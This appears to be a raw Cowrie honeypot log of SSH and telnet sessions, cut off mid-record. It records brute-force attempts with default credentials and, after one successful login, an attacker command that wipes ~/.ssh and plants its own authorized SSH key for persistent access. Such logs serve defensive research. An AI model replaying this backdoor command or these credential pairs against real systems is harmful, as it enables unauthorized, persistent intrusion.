{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":47609,"dst_ip":"10.17.0.5","dst_port":23,"session":"eec75f598bf8","protocol":"telnet","message":"New connection: 212.55.149.117:47609 (10.17.0.5:23) [session: eec75f598bf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:15:00.506607Z"}
{"eventid":"cowrie.session.closed","duration":0.01337742805480957,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:15:00.518880Z","src_ip":"212.55.149.117","session":"eec75f598bf8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":45862,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b2ab5391e52","protocol":"ssh","message":"New connection: 103.15.226.202:45862 (10.17.0.5:22) [session: 7b2ab5391e52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:15:09.339732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:15:09.344551Z","src_ip":"103.15.226.202","session":"7b2ab5391e52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:15:09.587614Z","src_ip":"103.15.226.202","session":"7b2ab5391e52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Changeme_123","message":"login attempt [root/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:15:10.335230Z","src_ip":"103.15.226.202","session":"7b2ab5391e52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:15:11.580796Z","src_ip":"103.15.226.202","session":"7b2ab5391e52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.603368043899536,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:15:13.876500Z","src_ip":"129.232.238.42","session":"d533b8b656f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":48450,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a73f41af3a0","protocol":"ssh","message":"New connection: 2.57.122.208:48450 (159.203.135.109:22) [session: 0a73f41af3a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:15:27.438984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:15:27.535470Z","src_ip":"2.57.122.208","session":"0a73f41af3a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:15:27.641750Z","src_ip":"2.57.122.208","session":"0a73f41af3a0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:15:28.430159Z","src_ip":"2.57.122.208","session":"0a73f41af3a0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:15:28.975386Z","src_ip":"2.57.122.208","session":"0a73f41af3a0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:15:28.978765Z","src_ip":"2.57.122.208","session":"0a73f41af3a0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:15:29.227545Z","src_ip":"2.57.122.208","session":"0a73f41af3a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:15:29.232925Z","src_ip":"2.57.122.208","session":"0a73f41af3a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.10.59.177","src_port":6544,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8a2d289d659","protocol":"telnet","message":"New connection: 58.10.59.177:6544 (159.203.135.109:23) [session: e8a2d289d659]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:16:13.724623Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":58068,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8b5170e1c22","protocol":"telnet","message":"New connection: 69.6.249.0:58068 (159.203.135.109:23) [session: d8b5170e1c22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:16:13.988573Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.158.150","src_port":57496,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba1d9071195d","protocol":"ssh","message":"New connection: 138.124.158.150:57496 (10.17.0.5:22) [session: ba1d9071195d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:16:14.483086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:16:14.487852Z","src_ip":"138.124.158.150","session":"ba1d9071195d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:16:14.656909Z","src_ip":"138.124.158.150","session":"ba1d9071195d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"amir123456","message":"login attempt [amir/amir123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:16:15.375722Z","src_ip":"138.124.158.150","session":"ba1d9071195d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:16:16.548981Z","src_ip":"138.124.158.150","session":"ba1d9071195d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00658583641052,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:16:21.811440Z","src_ip":"212.55.149.117","session":"411e01f606b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":30595,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff9ef7d5d2fa","protocol":"telnet","message":"New connection: 212.55.149.117:30595 (10.17.0.5:23) [session: ff9ef7d5d2fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:16:23.596630Z"}
{"eventid":"cowrie.session.closed","duration":12.247114181518555,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:16:25.971641Z","src_ip":"58.10.59.177","session":"e8a2d289d659","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00299072265625,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:16:27.891457Z","src_ip":"197.88.226.68","session":"4325508771c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.37158226966858,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:16:45.360050Z","src_ip":"69.6.249.0","session":"d8b5170e1c22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.87742209434509,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:17:24.473919Z","src_ip":"212.55.149.117","session":"ff9ef7d5d2fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.158.150","src_port":52442,"dst_ip":"10.17.0.5","dst_port":22,"session":"c97f29a95e12","protocol":"ssh","message":"New connection: 138.124.158.150:52442 (10.17.0.5:22) [session: c97f29a95e12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:17:48.309438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:17:48.314268Z","src_ip":"138.124.158.150","session":"c97f29a95e12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:17:48.489179Z","src_ip":"138.124.158.150","session":"c97f29a95e12","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"manager","message":"login attempt [oracle/manager] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:17:49.222969Z","src_ip":"138.124.158.150","session":"c97f29a95e12","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:17:49.613374Z","src_ip":"138.124.158.150","session":"c97f29a95e12","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:17:49.616565Z","src_ip":"138.124.158.150","session":"c97f29a95e12","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:17:49.620456Z","src_ip":"138.124.158.150","session":"c97f29a95e12","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:17:49.798645Z","src_ip":"138.124.158.150","session":"c97f29a95e12","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:17:50.193787Z","src_ip":"138.124.158.150","session":"c97f29a95e12","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:17:50.197313Z","src_ip":"138.124.158.150","session":"c97f29a95e12","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:17:50.376816Z","src_ip":"138.124.158.150","session":"c97f29a95e12","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:17:50.380226Z","src_ip":"138.124.158.150","session":"c97f29a95e12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.158.150","src_port":51384,"dst_ip":"10.17.0.5","dst_port":22,"session":"33eec12eea0a","protocol":"ssh","message":"New connection: 138.124.158.150:51384 (10.17.0.5:22) [session: 33eec12eea0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:17:50.561445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:17:50.565762Z","src_ip":"138.124.158.150","session":"33eec12eea0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:17:50.744853Z","src_ip":"138.124.158.150","session":"33eec12eea0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:17:51.495569Z","src_ip":"138.124.158.150","session":"33eec12eea0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:17:52.676552Z","src_ip":"138.124.158.150","session":"33eec12eea0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.158.150","src_port":51392,"dst_ip":"10.17.0.5","dst_port":22,"session":"26cbb53e939b","protocol":"ssh","message":"New connection: 138.124.158.150:51392 (10.17.0.5:22) [session: 26cbb53e939b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:17:52.853311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T15:17:52.857734Z","src_ip":"138.124.158.150","session":"26cbb53e939b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellm